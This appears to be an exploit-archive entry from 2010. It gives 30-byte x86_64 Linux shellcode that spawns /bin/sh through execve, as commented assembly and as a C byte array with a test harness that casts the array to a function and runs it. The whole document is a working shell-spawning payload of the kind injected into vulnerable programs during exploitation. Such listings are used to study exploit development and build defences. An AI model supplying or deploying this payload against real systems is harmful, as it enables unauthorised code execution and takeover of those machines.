# Linux/x86_64 execve("/bin/sh"); 30 bytes shellcode
# Date: 2010-04-26
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux

/*
	; execve("/bin/sh", ["/bin/sh"], NULL)

	section .text
		    global _start

	_start:
		    xor     rdx, rdx
		    mov     qword rbx, '//bin/sh'
		    shr     rbx, 0x8
		    push    rbx
		    mov     rdi, rsp
		    push    rax
		    push    rdi
		    mov     rsi, rsp
		    mov     al, 0x3b
		    syscall
*/

int main(void)
{
	char shellcode[] =
	"\x48\x31\xd2"                                  // xor    %rdx, %rdx
	"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov
$0x68732f6e69622f2f, %rbx
	"\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
	"\x53"                                          // push   %rbx
	"\x48\x89\xe7"                                  // mov    %rsp, %rdi
	"\x50"                                          // push   %rax
	"\x57"                                          // push   %rdi
	"\x48\x89\xe6"                                  // mov    %rsp, %rsi
	"\xb0\x3b"                                      // mov    $0x3b, %al
	"\x0f\x05";                                     // syscall

	(*(void (*)()) shellcode)();
	
	return 0;
}